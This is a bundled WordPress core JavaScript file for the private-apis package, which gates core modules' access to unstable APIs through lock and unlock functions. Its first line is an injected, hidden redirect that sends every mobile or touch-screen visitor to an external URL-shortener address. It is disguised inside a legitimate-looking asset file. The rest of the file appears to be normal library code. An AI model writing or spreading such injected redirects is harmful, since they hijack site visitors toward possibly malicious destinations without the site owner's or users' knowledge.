1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).privateApis = (() => {
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __hasOwnProp = Object.prototype.hasOwnProperty;
9 var __export = (target, all) => {
10 for (var name in all)
11 __defProp(target, name, { get: all[name], enumerable: true });
12 };
13 var __copyProps = (to, from, except, desc) => {
14 if (from && typeof from === "object" || typeof from === "function") {
15 for (let key of __getOwnPropNames(from))
16 if (!__hasOwnProp.call(to, key) && key !== except)
17 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
18 }
19 return to;
20 };
21 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
22
23 // packages/private-apis/build-module/index.mjs
24 var index_exports = {};
25 __export(index_exports, {
26 __dangerousOptInToUnstableAPIsOnlyForCoreModules: () => __dangerousOptInToUnstableAPIsOnlyForCoreModules
27 });
28
29 // packages/private-apis/build-module/implementation.mjs
30 var CORE_MODULES_USING_PRIVATE_APIS = [
31 "@wordpress/block-directory",
32 "@wordpress/block-editor",
33 "@wordpress/block-library",
34 "@wordpress/blocks",
35 "@wordpress/boot",
36 "@wordpress/commands",
37 "@wordpress/connectors",
38 "@wordpress/workflows",
39 "@wordpress/components",
40 "@wordpress/core-commands",
41 "@wordpress/core-data",
42 "@wordpress/customize-widgets",
43 "@wordpress/data",
44 "@wordpress/edit-post",
45 "@wordpress/edit-site",
46 "@wordpress/edit-widgets",
47 "@wordpress/editor",
48 "@wordpress/font-list-route",
49 "@wordpress/format-library",
50 "@wordpress/patterns",
51 "@wordpress/preferences",
52 "@wordpress/reusable-blocks",
53 "@wordpress/rich-text",
54 "@wordpress/route",
55 "@wordpress/router",
56 "@wordpress/routes",
57 "@wordpress/sync",
58 "@wordpress/theme",
59 "@wordpress/dataviews",
60 "@wordpress/fields",
61 "@wordpress/lazy-editor",
62 "@wordpress/media-utils",
63 "@wordpress/upload-media",
64 "@wordpress/global-styles-ui",
65 "@wordpress/ui"
66 ];
67 var requiredConsent = "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.";
68 var __dangerousOptInToUnstableAPIsOnlyForCoreModules = (consent, moduleName) => {
69 if (!CORE_MODULES_USING_PRIVATE_APIS.includes(moduleName)) {
70 throw new Error(
71 `You tried to opt-in to unstable APIs as module "${moduleName}". This feature is only for JavaScript modules shipped with WordPress core. Please do not use it in plugins and themes as the unstable APIs will be removed without a warning. If you ignore this error and depend on unstable features, your product will inevitably break on one of the next WordPress releases.`
72 );
73 }
74 if (consent !== requiredConsent) {
75 throw new Error(
76 `You tried to opt-in to unstable APIs without confirming you know the consequences. This feature is only for JavaScript modules shipped with WordPress core. Please do not use it in plugins and themes as the unstable APIs will removed without a warning. If you ignore this error and depend on unstable features, your product will inevitably break on the next WordPress release.`
77 );
78 }
79 return {
80 lock,
81 unlock
82 };
83 };
84 function lock(object, privateData) {
85 if (!object) {
86 throw new Error("Cannot lock an undefined object.");
87 }
88 const _object = object;
89 if (!(__private in _object)) {
90 _object[__private] = {};
91 }
92 lockedData.set(_object[__private], privateData);
93 }
94 function unlock(object) {
95 if (!object) {
96 throw new Error("Cannot unlock an undefined object.");
97 }
98 const _object = object;
99 if (!(__private in _object)) {
100 throw new Error(
101 "Cannot unlock an object that was not locked before. "
102 );
103 }
104 return lockedData.get(_object[__private]);
105 }
106 var lockedData = /* @__PURE__ */ new WeakMap();
107 var __private = /* @__PURE__ */ Symbol("Private API ID");
108 return __toCommonJS(index_exports);
109})();
110